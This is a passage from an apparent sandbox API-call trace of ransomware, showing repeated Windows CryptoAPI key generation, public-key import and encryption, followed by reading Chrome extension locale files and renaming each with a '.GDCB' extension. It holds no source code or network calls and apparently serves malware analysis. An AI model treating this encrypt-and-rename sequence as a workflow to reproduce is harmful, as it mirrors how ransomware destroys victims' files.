phProv=0x285cd2c*=0x5c4760) returned 1 [0266.941] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.943] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.943] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.943] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.943] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.945] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67964e0) returned 1 [0266.945] CryptGetKeyParam (in: hKey=0x67964e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.946] CryptEncrypt (in: hKey=0x67964e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.946] GetLastError () returned 0x0 [0266.946] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.946] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0266.948] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796720) returned 1 [0266.948] CryptGetKeyParam (in: hKey=0x6796720, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.948] CryptEncrypt (in: hKey=0x6796720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.948] GetLastError () returned 0x0 [0266.948] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0266.948] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.949] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.952] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.954] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc7, lpOverlapped=0x0) returned 1 [0266.962] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.969] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json.gdcb")) returned 1 [0266.974] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.977] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.979] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.979] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0266.979] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.979] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0266.981] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.983] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.983] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0266.983] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.984] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0266.986] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796660) returned 1 [0266.986] CryptGetKeyParam (in: hKey=0x6796660, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.986] CryptEncrypt (in: hKey=0x6796660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0266.986] GetLastError () returned 0x0 [0266.986] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0266.986] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0266.988] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796760) returned 1 [0266.988] CryptGetKeyParam (in: hKey=0x6796760, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0266.988] CryptEncrypt (in: hKey=0x6796760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0266.988] GetLastError () returned 0x0 [0266.988] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.988] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0266.989] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0266.993] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0266.997] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xbb, lpOverlapped=0x0) returned 1 [0267.006] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.013] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json.gdcb")) returned 1 [0267.018] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.022] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.024] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.024] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.024] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.024] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0267.028] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.031] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.031] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.031] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.031] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.034] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796320) returned 1 [0267.034] CryptGetKeyParam (in: hKey=0x6796320, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.034] CryptEncrypt (in: hKey=0x6796320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.034] GetLastError () returned 0x0 [0267.034] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.034] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0267.036] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796160) returned 1 [0267.036] CryptGetKeyParam (in: hKey=0x6796160, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.037] CryptEncrypt (in: hKey=0x6796160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.037] GetLastError () returned 0x0 [0267.037] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.037] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.038] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.041] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.044] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd2, lpOverlapped=0x0) returned 1 [0267.053] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.088] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json.gdcb")) returned 1 [0267.093] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0267.097] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.099] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.099] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.099] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.099] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.102] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.104] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.104] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.104] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.105] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.108] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67967a0) returned 1 [0267.108] CryptGetKeyParam (in: hKey=0x67967a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.108] CryptEncrypt (in: hKey=0x67967a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.108] GetLastError () returned 0x0 [0267.108] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.108] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0267.110] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67961a0) returned 1 [0267.110] CryptGetKeyParam (in: hKey=0x67961a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.110] CryptEncrypt (in: hKey=0x67961a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.111] GetLastError () returned 0x0 [0267.111] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.111] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.112] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.115] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.118] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xac, lpOverlapped=0x0) returned 1 [0267.128] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.135] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json.gdcb")) returned 1 [0267.141] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0267.145] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.147] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.147] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.147] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.147] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.150] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.153] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.154] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.154] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.154] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0267.157] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796620) returned 1 [0267.157] CryptGetKeyParam (in: hKey=0x6796620, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.157] CryptEncrypt (in: hKey=0x6796620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.157] GetLastError () returned 0x0 [0267.157] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.157] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.159] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67961e0) returned 1 [0267.159] CryptGetKeyParam (in: hKey=0x67961e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.159] CryptEncrypt (in: hKey=0x67961e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.159] GetLastError () returned 0x0 [0267.159] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.159] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.161] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.163] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.166] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x11e, lpOverlapped=0x0) returned 1 [0267.174] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.181] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json.gdcb")) returned 1 [0267.187] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.190] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.193] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.193] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.193] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 